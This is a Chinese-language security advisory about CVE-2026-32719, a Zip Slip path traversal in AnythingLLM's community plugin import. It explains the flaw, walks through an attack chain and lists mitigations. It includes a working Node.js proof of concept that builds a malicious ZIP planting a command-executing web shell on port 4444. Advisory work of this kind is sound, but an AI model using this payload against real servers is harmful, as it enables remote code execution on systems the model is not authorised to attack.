IPBUF安全漏洞报告
English
CVE-2026-32719 CVSS 4.2 中危

CVE-2026-32719: AnythingLLM Zip Slip路径遍历导致任意代码执行

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-32719
漏洞类型
路径遍历/任意代码执行
CVSS评分
4.2 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
AnythingLLM

相关标签

CVE-2026-32719Zip Slip路径遍历任意代码执行AnythingLLMAdmZip插件安全文件解压漏洞

漏洞概述

AnythingLLM是一款应用程序,能够将各种内容转换为上下文信息,供大型语言模型(LLM)在聊天时作为参考使用。该应用在1.11.1及更早版本中存在严重的Zip Slip路径遍历安全漏洞。漏洞位于ImportedPlugin.importCommunityItemFromUrl()函数中,该函数从社区Hub URL下载ZIP文件并使用AdmZip.extractAllTo()方法进行解压缩操作。问题在于该函数在提取ZIP文件时未对压缩包内的文件路径进行安全验证,攻击者可以通过在ZIP文件中嵌入包含路径遍历序列(如../../../)的文件名,实现将文件任意写入服务器文件系统。当攻击者精心构造恶意ZIP文件时,可以利用此漏洞将恶意脚本或可执行文件写入服务器的Web根目录、启动目录或其他敏感位置,从而实现任意代码执行。成功利用此漏洞需要攻击者诱骗具有高权限的用户从恶意社区Hub下载并导入插件,整个攻击过程需要用户交互配合。

技术细节

该漏洞的核心问题在于ZIP文件解压过程中的路径验证缺失。具体来说,AnythingLLM的ImportedPlugin.importCommunityItemFromUrl()函数通过HTTP请求从社区Hub获取ZIP格式的插件压缩包。在接收到ZIP文件后,程序使用AdmZip库的extractAllTo()方法将压缩包内容解压到指定目录。AdmZip库默认会根据ZIP条目中记录的文件名创建目录结构并写入文件内容。攻击者可以构造包含特殊构造文件名的ZIP条目,例如../../../var/www/html/malicious.js,该文件名包含路径遍历序列。当AdmZip处理此类条目时,会按照ZIP条目中指定的绝对路径或相对路径将文件写入目标系统,而不会检查该路径是否在预期的插件目录范围内。攻击者利用此漏洞可以将WebShell写入Web服务器的文档根目录,或将恶意脚本写入系统启动目录、计划任务目录等敏感位置,从而在后续访问或系统重启时获得代码执行能力。此漏洞的利用需要目标用户通过UI触发插件导入功能,因此被归类为需要用户交互的攻击场景。

攻击链分析

STEP 1
步骤1
攻击者创建一个包含恶意文件名的ZIP压缩包,文件名包含路径遍历序列(如../../../workspace/anything-llm/server/middleware/shell.js)
STEP 2
步骤2
攻击者将恶意ZIP文件托管在攻击者控制的社区Hub服务器上,或通过社会工程学手段诱骗用户访问
STEP 3
步骤3
具有高权限的目标用户通过AnythingLLM的UI访问社区Hub,浏览并选择导入攻击者准备的恶意插件
STEP 4
步骤4
用户点击导入后,ImportedPlugin.importCommunityItemFromUrl()函数从攻击者指定的URL下载恶意ZIP文件
STEP 5
步骤5
AdmZip.extractAllTo()方法在解压ZIP时,按照ZIP条目中的恶意文件名(包含路径遍历序列)将文件写入目标服务器的文件系统
STEP 6
步骤6
恶意文件被成功写入服务器敏感位置(如Web根目录),攻击者通过HTTP请求访问该文件即可执行任意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-32719 PoC - Zip Slip Path Traversal in AnythingLLM // This PoC demonstrates how to create a malicious ZIP file for exploiting the Zip Slip vulnerability const fs = require('fs'); const archiver = require('archiver'); // Target file to write via Zip Slip const maliciousFilename = '../../../workspace/anything-llm/server/middleware/malicious.js'; const maliciousContent = `// Malicious code - webshell or reverse shell const http = require('http'); // Simple web shell example http.createServer((req, res) => { const { spawn } = require('child_process'); const cmd = require('url').parse(req.url, true).query.cmd; if (cmd) { const child = spawn(cmd, { shell: true }); let output = ''; child.stdout.on('data', (data) => { output += data; }); child.stderr.on('data', (data) => { output += data; }); child.on('close', () => { res.writeHead(200, { 'Content-Type': 'text/plain' }); res.end(output); }); } }).listen(4444); console.log('[+] Malicious server running on port 4444'); `; // Create malicious ZIP file const output = fs.createWriteStream('malicious-plugin.zip'); const archive = archiver('zip', { zlib: { level: 9 } }); archive.pipe(output); // Add malicious file with path traversal in filename archive.append(maliciousContent, { name: maliciousFilename }); archive.finalize(); console.log('[+] Created malicious-plugin.zip'); console.log('[+] Filename contains path traversal: ' + maliciousFilename); console.log('[+] When extracted by vulnerable AnythingLLM, file will be written to:'); console.log(' ' + maliciousFilename); // Alternative: Direct ZIP manipulation example // Using zip slip pattern: ../../../path/to/target // The AdmZip.extractAllTo() will write files outside intended directory

影响范围

AnythingLLM <= 1.11.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 禁用社区插件导入功能,避免从不可信来源导入插件;2) 对社区Hub URL实施严格的域名白名单,仅允许从官方可信域名下载插件;3) 监控服务器文件系统的异常文件创建行为,特别是Web根目录和系统敏感目录;4) 限制运行AnythingLLM的操作系统用户权限,确保即使漏洞被利用也无法写入关键系统目录;5) 部署Web应用防火墙(WAF)规则检测异常的ZIP文件上传和解压行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表